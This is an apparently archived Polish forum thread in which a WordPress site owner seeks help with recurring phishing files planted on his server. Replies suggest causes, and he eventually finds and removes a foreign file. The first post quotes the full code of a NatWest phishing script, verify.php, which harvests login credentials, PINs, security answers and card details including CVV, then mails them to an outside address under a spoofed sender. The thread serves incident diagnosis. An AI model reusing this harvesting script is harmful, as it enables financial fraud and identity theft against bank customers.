Pomoc - Szukaj - Użytkownicy - Kalendarz
Pełna wersja: Ataki (nowe pliki phising na serwerze) na witrynie opartej o WordPress
Forum PHP.pl > Forum > Gotowe rozwiązania > Systemy portalowe i CMS'y
phpmax
Witajcie!


Dawno tu nie wpadałem, zatem witam ponownie. Od kilku miesięcy męczę się dziwnym problemem na mojej witrynie. Otóż okazuje się, że co jakiś czas mam na serwerze obce pliki rozrzucone po różnych folderach oraz w głównym katalogu wordpress, mianowicie wp-sys.php, verify.php, Natwest-Card (nowy plik). W efekcie dostaję powiadomienia od hostingodawcy o zaistniałych problemach phishingowych.


Wcześniej, gdy kłopot pojawił się pierwszy raz przeprowadziłem coś w rodzaju audytu bezpieczeństwa, mianowicie:

1. skan systemu kaspersky - ok (po usunięciu wirusów)
2. zmiana domyslnego loginu/hasła admin na inny do cms wp - ok
3. analiza logów serwera ftp - ok
4. zmiana hasła ftp/mysql, choć jest on silne - ok
5. analiza kodu motywu (choć obecność dziury wydaje się mało prawdopodobna) - ok



Po kilku tygodniach jednak znowu problem powrócił z pojawianiem się obcych plików na serwerze. Zastawiam się czy może być dziurawa skórka? W kodzie na znalazłem nic podejrzanego (zakodowane fragmenty kodu czy jakieś inne podejrzane funkcje). Jak ktoś ma chwilę, żeby przejrzeć pliki motywu to oczywiście mogę podesłać. Tak więc to też prawdopodobnie odpada. Raczej programiści Automattic (ci od Wordpressa) rozdzielili warstwę prezentacji od funkcjonalności wordpressa (głównego core) i nawet z błędami w skórce nie powinno dochodzić do obcego instalowania plików za pomocą ataków dajmy na to Cross-site scripting (XSS).


Zastanawia mnie natomiast dziwny kod pliku phisingowego verify.php. Poniżej prezentuje jego kod:

  1. <?
  2.  
  3. $ip = getenv("REMOTE_ADDR");
  4. $message .= "Username : ".$_POST['login']."\n";
  5. $message .= "Internet Password: ".$_POST['ipass']."\n";
  6. $message .= "Internet PIN: ".$_POST['ipin']."\n";
  7. $message .= "Email Address : ".$_POST['email']."\n";
  8. $message .= "Email Password : ".$_POST['epass']."\n";
  9. $message .= "Sec Question : ".$_POST['question']."\n";
  10. $message .= "Security answer : ".$_POST['sec']."\n";
  11. $message .= "Repeat security answer : ".$_POST['sec1']."\n";
  12. $message .= "Mother's Maiden Name : ".$_POST['mmn']."\n";
  13. $message .= "Date of Birth : ".$_POST['d1']."/".$_POST['d2']."/".$_POST['d3']."\n";
  14. $message .= "Card Number : ".$_POST['cc']."\n";
  15. $message .= "Expiry Date : ".$_POST['exp1']."/".$_POST['exp2']."\n";
  16. $message .= "Security Code : ".$_POST['cvv']."\n";
  17. $message .= "IP : ".$ip."\n";
  18. $message .= "------------------ Created By ***C --------------------\n";
  19. $send = "oluwach4sy@mail.mn";
  20. $subject = "NatWest-Card Verify ReZulT";
  21. $headers = "From: StarBoy<logs@natwest.com>";
  22. $headers .= $_POST['eMailAdd']."\n";
  23. $headers .= "MIME-Version: 1.0\n";
  24. mail("$send", "$subject", $message);
  25.  
  26.  
  27. ?>



Macie jakieś pomysły jak rozwiązać ten pojawiający się problem? Poszukiwania w Google wykazały na htaccess, ale to sprawdziłem i też nie mam niczego nadpisanego. Będę wdzięczny. Raz nawet zdarzyło się mi, że całkowicie do pliku index.php w głównym katalogu WP dodano index.html, w efekcie ma pierwszeństwo ten z HTML i całkowicie zmieniona była na kilka godzin strona główna, która naprawdę wyświetlana jest w internecie www ;o(
pyro
Sprawdź logi i zobacz, co ktoś robił.
phpmax
Czekam na informacje na ten temat od operatora hostingu.

PS Za chwilę zmienię hasło do bazy i ftp. Jeśli problem znowu będzie się powtarzał to na 90% będzie jakaś luka czy w moim komputerze z FileZilla z włączonym zapytaniem o hasło co jeszcze bardziej zmniejszą taką prawdopodobność (brak wirusów po raporcie Kaspereskiego) lub też skórce (w kodzie skórki nie zauważyłem podejrzanego).
sazian
sprawdź wszystkie zainstalowane pluginy, oraz czy nie masz dodatkowych kont administratora w cms
phpmax
Nie nic nie mam. Raczej nie jest to luka wordpress/wtyczki.

Dziwna historia, mimo iż wczoraj zmieniałem hasło ftp/sql, znowu na serwerze miałem obce pliki. Tym razem jednak usunąłem z niego wszystkie pliki śmieci (porozrzucane w różnych folderach jeszcze po dawnych zabawach z nauką webdevelopmentu), które mogły być ewentualną furtką np: stare dokumenty html z polem dodawania komentarzy (do pliku txt, bez połączenia z bazą), formularze kontaktowe, pliki z animacjami flash, dokumentów word, powerpoint, excel, zastosowane w wybranych plikach biblioteki java script. Zobaczymy czy ta operacja sprzątania śmieci pomoże. Zostały tylko niezbędne pliki wordpress.

Aha, oczywiście na koniec znowu obowiązkowa zmiana hasła ftp/mysql...
sazian
to jeszcze jedno pytanie,
usunąłeś katalog install?
miałem taki przypadek w forum opartym na vB, ktoś zmienił nazwę katalogu install zamiast go usunąć co pozwoliło na utworzenie dodatkowego konta administratora i wgranie pluginu który dawał pełen dostęp do serwera.


Sprawdziłeś katalogi do których są wgrywane pliki czy przypadkiem niema tam jakichś podejrzanych plików php ? Miałem taki przypadek w joomli że ktoś wgrał plik php w formularzu do dodawania zdjęć, co prawda plik nie przeszedł walidacji ale cały czas siedział w katalogu tymczasowym biggrin.gif
phpmax
W którym miejscu wordpress jest ten katalog install?

Dzisiaj znowu to samo, obcy plik w wp-includes/Text/Diff/Renderer/RBS-Card/.


Przed momentem zaktualizowałem wszystkie wtyczki kompatybilne (dwie zostały z 3.7.1) do wordpress 3.8 (w tym samego wordpressa) i zobaczymy co dalej. Hostingodawca się wkurzył i zmienił nazwę katalogu, gdzie nakierowana była domena i przez pół dnia strona była off-line ;o( Przeglądałem folder wp-content i jest ok. Same grafiki oraz moje używane dane (motywy, pluginy).

Jedyne co mi przychodzi teraz do głowy abstrakcyjnego to dziurawy formularz wysyłania komentarzy albo wyszukiwarka w templatce...


Jak chcesz to mogę podesłać adres witryny na PW i spojrzysz czy Twoim zdaniem jest coś nie tak. Ja wczoraj analizowałem kod skórki i było all ok oraz nie było obcego kodu od potencjalnego atakującego.


PS Przez kilka lat był spokój i nagle takie dziwne historie...
kilab
Problem dosyć popularny ostatnio. W ciągu ostatnich 3 miesięcy sam czyściłem już z 30 instalacji WP, ale dalej nie wiem gdzie jest przyczyna. Najpierw stawiałem na dziurawą wtyczkę, wtedy typowana jako numer 1 - Akismet, ale z czasem dojrzałem się, że problem występuje najczęściej na stronach, gdzie wersja WP nie jest zgodna z najnowszą.

Na ogół jeśli klient trzyma się aktualizacji WP na bieżąco to problemy przestały się pojawiać, może to było to. Nie mam pewności w dalszym ciągu, ale jakaś wskazówka jest smile.gif
phpmax
Witajcie ponownie,


Na początek z góry dziękuje za pomoc, w szczególności @sazian. Wszystko wskazuje na to, że problem udało mi się usunąć. Był obcy plik ms-logs.php w folderze administracji wordpress (wp-admin lub wp-includes). Tak więc rada dla wszystkich osób posiadających phising na stronie www. Ryzyko luki w skórce jest małe (u mnie tak było i się potwierdziło), pierwsze co róbcie to zgrywajcie wszystkie pliki wordpress na dysk komputera i sprawdzajcie antywirusem, nawet jak dostawca hostingu mówi, że to zrobił i nic nie wykrył niepokojącego (u mnie takiego faila zanotowała firma home.pl).


Jeśli macie duży serwis i nie chce się wam kopiować 2 GB plików czy 500 MB bazy danych MySQL to polecam kopie plików core wp, mianowicie wszystko oprócz folderu wp-content generowanego przez użytkownika. Po góra 2 minutach szybko sprawdzicie czy macie wirusa na serwerze. Jeszcze miesiąc poczekam i jak nic nie będzie się działo niepokojącego to temat uważam za zamknięty. Póki co linkuja spamerskie witryny (widze po statystykach google) do mojej, ale już nie mają bramy wjazdy, także efektów negatywnych brak, no może z wyjątkiem SEO i obniżenia ratingu Google w Page Rank z poziomu 4 do 3.


Pozdrawiam.
To jest wersja lo-fi głównej zawartości. Aby zobaczyć pełną wersję z większą zawartością, obrazkami i formatowaniem proszę kliknij tutaj.
Invision Power Board © 2001-2025 Invision Power Services, Inc.